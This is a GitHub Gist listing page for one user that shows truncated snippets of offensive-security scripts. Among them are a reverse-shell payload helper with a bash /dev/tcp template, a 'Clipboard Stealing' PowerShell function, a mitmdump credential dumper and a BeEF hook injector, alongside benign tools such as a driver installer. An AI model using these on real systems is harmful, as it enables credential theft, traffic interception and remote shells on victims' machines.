Skip to content

Instantly share code, notes, and snippets.

@chokepoint
chokepoint / cloudsnare
Created September 28, 2017 16:20
Identify IPv4 hosts behind CloudFlare using certificate data
#!/usr/bin/env python3
import censys.certificates
import censys.ipv4
from sys import argv
UID = "**CHANGE**"
SECRET = "**CHANGE**"
def is_cloudflare(dn):
@chokepoint
chokepoint / clipboard.ps1
Created August 19, 2017 12:28
Clipboard Stealing
function Get-Clipboard([switch] $Lines) {
if($Lines) {
$cmd = {
Add-Type -Assembly PresentationCore
[Windows.Clipboard]::GetText() -replace "`r", '' -split "`n"
}
} else {
$cmd = {
Add-Type -Assembly PresentationCore
[Windows.Clipboard]::GetText()
@chokepoint
chokepoint / payload.py
Created August 10, 2017 18:19
Reverse shell payload helper
#!/usr/bin/python3
from sys import argv, exit
from netifaces import AF_INET, ifaddresses
interface = 'tap0'
# Taken from http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
templates = {
'bash': """bash -i >& /dev/tcp/{host}/{port} 0>&1""",
@chokepoint
chokepoint / empire_identifier.py
Created April 5, 2017 19:14
Identify Empire C2 nodes
#!/usr/bin/env python3
from urllib.request import build_opener, HTTPSHandler
from http.client import RemoteDisconnected
from hashlib import sha256
from sys import argv, exit
from binascii import hexlify
import ssl
class NoException(Exception):
pass
@chokepoint
chokepoint / dump_creds.py
Created March 31, 2017 01:10
Dump credentials in mitmdump sessions
# Print values from forms named username and password respectively
def response(flow):
try:
flow.request.headers.pop('Referer')
except Exception:
pass
if flow.request.urlencoded_form:
try:
@chokepoint
chokepoint / mitmdump_beef_injector
Created March 31, 2017 01:07
Injects beef hook into sessions with mitmdump
# (this script works best with --anticache)
import sys
from bs4 import BeautifulSoup
class Injector:
def __init__(self, script_url):
self.script_url = script_url
def response(self, flow):
if flow.request.host in self.script_url:
@chokepoint
chokepoint / dht_sniff.py
Created September 5, 2014 15:13
Distributed Hash Table Sniffer (BitTorrent)
#!/usr/bin/env python
"""
Sniff a specific port for Bit Torrent DHT traffic and print
requests/responses in human readable form.
Reference: http://www.bittorrent.org/beps/bep_0005.html
"""
from pcapy import open_live
from bencode import bdecode
@chokepoint
chokepoint / bcm43142_drivers.sh
Created April 25, 2014 22:42
Install Drivers for BCM43142 802.11b/g/n Linux Kernel 3.10+
#!/bin/bash
# chmod +x broadcom_drivers.sh
# ./broadcom_drivers.sh
mkdir broadcom
cd broadcom
apt-get install linux-headers-`uname -r` build-essential -y
if [ `uname -m` == "i686" ] ; then
wget http://www.broadcom.com/docs/linux_sta/hybrid-v35-nodebug-pcoem-6_30_223_141.tar.gz